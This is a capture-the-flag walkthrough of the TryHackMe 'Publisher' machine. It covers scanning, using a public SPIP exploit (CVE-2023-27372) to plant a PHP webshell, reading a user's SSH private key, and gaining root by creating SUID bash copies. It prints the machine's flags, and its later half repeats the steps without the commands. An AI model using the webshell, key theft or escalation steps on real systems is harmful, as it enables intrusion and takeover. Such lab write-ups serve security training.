Publisher - TryHackMe writeup

The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation.

Enumeration

Let Make a Nmap Scan

death@esther:~$ nmap 10.10.102.137 -sV 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 18:58 IST
Nmap scan report for 10.10.102.137
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds

According to scan 2 ports are open.

SSH on port 22.
HTTP on port 80.

As HTTP is open let take a look.

I didn't Find anything, Let enumerate directories.

dirsearch -u <Ip> -w <wordlist>

death@esther:~$ dirsearch -u 10.10.102.137 -w ~/wordlists/directory-list-2.3-medium.txt 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 220544

Output File: /home/death/reports/_10.10.102.137/_24-09-09_19-00-50.txt

Target: http://10.10.102.137/

[19:00:51] Starting: 
[19:00:53] 301 -  315B  - /images  ->  http://10.10.102.137/images/
[19:01:53] 301 -  313B  - /spip  ->  http://10.10.102.137/spip/
[19:12:30] 403 -  278B  - /server-status

Task Completed

Let navigate to Spip

Let enumerate /spip/ directory,

death@esther:~$ dirsearch -u 10.10.102.137/spip/ 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/death/reports/_10.10.102.137/_spip__24-09-09_19-39-28.txt

Target: http://10.10.102.137/

[19:39:28] Starting: spip/
[19:39:35] 403 -  278B  - /spip/.ht_wsr.txt
[19:39:35] 403 -  278B  - /spip/.htaccess.orig
[19:39:35] 403 -  278B  - /spip/.htaccess.bak1
[19:39:35] 403 -  278B  - /spip/.htaccess.sample
[19:39:35] 403 -  278B  - /spip/.htaccess.save
[19:39:35] 403 -  278B  - /spip/.htaccess_extra
[19:39:35] 403 -  278B  - /spip/.htaccess_orig
[19:39:35] 403 -  278B  - /spip/.htaccess_sc
[19:39:35] 403 -  278B  - /spip/.htaccessBAK
[19:39:35] 403 -  278B  - /spip/.htaccessOLD
[19:39:36] 403 -  278B  - /spip/.htaccessOLD2
[19:39:36] 403 -  278B  - /spip/.htm
[19:39:36] 403 -  278B  - /spip/.html
[19:39:36] 403 -  278B  - /spip/.htpasswds
[19:39:36] 403 -  278B  - /spip/.htpasswd_test
[19:39:36] 403 -  278B  - /spip/.httr-oauth
[19:39:38] 403 -  278B  - /spip/.php
[19:40:04] 200 -    7KB - /spip/CHANGELOG.md
[19:40:05] 200 -    2KB - /spip/composer.json
[19:40:06] 301 -  320B  - /spip/config  ->  http://10.10.102.137/spip/config/
[19:40:06] 200 -   27KB - /spip/composer.lock
[19:40:06] 200 -  570B  - /spip/config/
[19:40:18] 200 -    2KB - /spip/htaccess.txt
[19:40:20] 200 -    3KB - /spip/index.php
[19:40:20] 200 -    3KB - /spip/index.php/login/
[19:40:24] 200 -   34KB - /spip/LICENSE
[19:40:24] 301 -  319B  - /spip/local  ->  http://10.10.102.137/spip/local/
[19:40:24] 200 -  609B  - /spip/local/
[19:40:40] 200 -  842B  - /spip/README.md
[19:40:51] 301 -  317B  - /spip/tmp  ->  http://10.10.102.137/spip/tmp/
[19:40:51] 200 -  712B  - /spip/tmp/
[19:40:51] 200 -  527B  - /spip/tmp/sessions/
[19:40:54] 200 -    0B  - /spip/vendor/autoload.php
[19:40:54] 200 -  535B  - /spip/vendor/
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_namespaces.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/ClassLoader.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_files.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_real.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_classmap.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_psr4.php
[19:40:54] 200 -    0B  - /spip/vendor/composer/autoload_static.php
[19:40:54] 200 -    1KB - /spip/vendor/composer/LICENSE
[19:40:54] 200 -   15KB - /spip/vendor/composer/installed.json

Task Completed

Let take a view at local directory,

Let View this config file.

The version is mentioned here let search for any CVE or Exploit.

As i thought there is `CVE-2023-27372` is present, here is the link of exploit CVE-2023-27372

git clone https://github.com/nuts7/CVE-2023-27372

cd CVE-2023-27372/

pip install -r requirements.txt

Oh my machine got expired. the ip was changed

Now Let take a try might be it will work. Let try to print hii and save it into a txt file.

python3 CVE-2023-27372.py -u http://10.10.191.151/spip -c 'echo "hii" > hii.txt'  -v

Let check it.

Let upload a webshell,

python3 CVE-2023-27372.py -u http://10.10.191.151/spip -c 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > webshell.php'  -v

Let access it.

Let execute some commands

?cmd=ls -at /home

There is only 1 user think , Let try to access his directories.

There is .ssh present let try can we get the pub key.

Here is the key, Let read it,

?cmd=cat /home/think/.ssh/id_rsa

Save this to file

nano rsa

chmod 600 rsa

Let try to Login

ssh think@10.10.191.151 -i rsa

User flag

cat user.txt

fa229046d44eda6a3598c73ad96f4ca5

Escalate privilege

Let 1st look for a suid file

find / -perm -u=s -type f 2>/dev/null

think@publisher:~$ find / -perm -u=s -type f 2>/dev/null

/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/sbin/run_container
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
think@publisher:~$

I just found an unknown file "run_container"

I search on gtfobin i didnt find anything let try to execute it,

/usr/sbin/run_container

It asking to create or give id

Let try a blank entry

Here is script in opt directory we cant access opt but we can read the contant of file.

As i just casuslly look at the shell i found this:

Let taka a look at App Armor so we can find profile of this shell.

Hmm here is the running shell and good one is bash is running as root shell, Let switch the shell to manipulate root.

Let go to dev/shm

cd /dev/shm

Copy shell here

cp /bin/bash .

Run this

./bash -p

Now we have access to opt directory

think@publisher:/dev/shm$ ls /opt
containerd  dockerfile  run_container.sh

Open in any txt editor

nano /opt/run_container.sh

Erase the whole code holding `Ctrl` + `K`

Add this:

#!/bin/bash

cp /bin/bash /tmp/test
chmod +s /tmp/test

Save the file.

Run this file.

run_container.sh

Let run the file we created so we get root.

cd /tmp

./test -p

Root Flag

cat /root/root.txt

3a4225cc9e85709adda6ef55d6a4f2ca

Enumeration

Let Make a Nmap Scan

According to scan 2 ports are open.

SSH on port 22.

HTTP on port 80.

As HTTP is open let take a look.

I didn't Find anything, Let enumerate directories.

Let navigate to Spip

Let enumerate /spip/ directory,

Let take a view at local directory,

Let View this config file.

The version is mentioned here let search for any CVE or Exploit.

As i thought there is CVE-2023-27372 is present, here is the link of exploit CVE-2023-27372

Oh my machine got expired. the ip was changed

Now Let take a try might be it will work. Let try to print hii and save it into a txt file.

Let check it.

Let upload a webshell,

Let access it.

Let execute some commands

There is only 1 user think , Let try to access his directories.

There is .ssh present let try can we get the pub key.

Here is the key, Let read it,

Save this to file

Let try to Login

User flag

Escalate privilege

Let 1st look for a suid file

I just found an unknown file "run_container"

I search on gtfobin i didnt find anything let try to execute it,

It asking to create or give id

Let try a blank entry

Here is script in opt directory we cant access opt but we can read the contant of file.

As i just casuslly look at the shell i found this:

Let taka a look at App Armor so we can find profile of this shell.

Hmm here is the running shell and good one is bash is running as root shell, Let switch the shell to manipulate root.

Let go to dev/shm

Copy shell here

Run this

Now we have access to opt directory

Open in any txt editor

Erase the whole code holding Ctrl + K

Add this:

Save the file.

Run this file.

Let run the file we created so we get root.

Root Flag

As i thought there is `CVE-2023-27372` is present, here is the link of exploit CVE-2023-27372

Erase the whole code holding `Ctrl` + `K`